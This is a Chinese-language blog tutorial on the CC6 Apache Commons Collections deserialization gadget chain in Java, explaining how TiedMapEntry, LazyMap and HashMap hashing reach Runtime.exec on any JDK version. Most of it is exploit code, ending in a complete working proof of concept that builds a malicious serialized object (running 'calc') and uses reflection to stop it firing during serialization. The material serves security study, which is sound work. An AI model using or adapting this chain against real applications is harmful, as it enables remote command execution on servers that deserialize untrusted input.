-

Java 反序列化第三条链 CC6

JDK 版本:任意

0x01 意义

有了 cc1 的两种链,为什么我们还要学习 cc6 呢?因为 cc1 固然好用,但是对 JDK 版本要求,不能大于等于 71 ,而我们今天学的 cc6 就没有版本要求了

为什么 cc1 在 jdk 高版本就不能用了呢,主要原因 是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了,感兴趣的可以自行去了解。

0x02 分析

既然 AnnotationInvocationHandler#readObject 不能用了,我们只能找另一条链子了,而 cc6 的核心就是找到了另一个类看看能不能和 LazyMap.get 连上

TiedMapEntry

可以看到这个类的 getValue 方法调用了 get 函数

1
2
3
public Object getValue() {
return map.get(key);
}

然后这个类的 hashcode 方法又调用了 getValue

1
2
3
4
5
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

那么谁又调用了 hashcode,欸,第一条 URLDNS 链是不是见过这个函数,在 HashMap 类里,CC6 也是找上了这个类,这个类的readObject 调用了 hash 方法

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

最后调用key.hashCode,key就是我们可控参数,我们只需要让key等于TiedMapEntry即可!因此可以开始编写CC6链雏形了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
serialize(map2);

嘻嘻,序列化的时候就弹计算器了,这场景是不是和 URLDNS 如出一辙(序列化的时候就发起了 DNS 解析),其实一样的道理,在第二个 put, map2.put 的时候就会调用 key.hashCode,我们可以先传一个假的参数给任意方法,让这条链子不能正常执行,然后在 put 之后通过反射修改回来就行,这样就能达到序列化不能命令执行,反序列化的时候可以

这里选择在 LazyMap 实例化的时候修改(当然你也可以修改 ChainedTransformerTiedMapEntry

1
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

这样序列化的时候走到 LazyMap 那里就会执行 ConstantTransformer.transform 而不是我们想要的 chainedTransformer.transform ,也就成功打断执行了。

记得 put 完之后再改回来

1
2
3
4
Class clazz = lazyMap.getClass();
Field factoryField = clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

但是反序列化的时候又不弹计算器了,我们反序列化跟进调试一下,发现还是因为 map2put 也会走一遍链子的原因

1
2
3
4
5
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}

走到 Lazyget 的时候,key = "aaa", map 就是我们的第一个 map ,第一次进来 map 没有这个这个键于是就 put 了一个。

然后我们反序列化再走一遍链子到这里的时候因为是第二次来 map.put(key, value); 成功地让 map 有 “aaa” 这个键了,所以就进不去这个 if 里面了,我们直接在 map2 put 之后把 map 的这个键值对删掉就行了。

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");

Class clazz = lazyMap.getClass();
Field factoryField = clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
map.remove("aaa");
// serialize(map2);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
oos.writeObject(obj);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.bin"));
ois.readObject();
}

0x03 流程图

image-20240804213908187

0x04 思考

可以看到整个过程没有再用到 AnnotationInvocationHandler,所以这条链不限制 JDK 版本,而且这条链也不绕,复现起来特别舒服。

白组长弹幕里有一个这个问题挺有意思的

我只要反序列化成功就行,那序列化的时候命令执不执行无所谓是不是就不用管了

评论区有个答案我觉得很有道理

如果你是win的主机,你在构造一条linux的命令执行链,如果你没有进行该操作,你的win没有linux命令,就会导致链子报错,进而导致序列化失败,你就无法生成对应的序列化文件ser.bin。在进行了该操作之后,我们就避免了序列化操作的报错,保证序列化文件的正常生成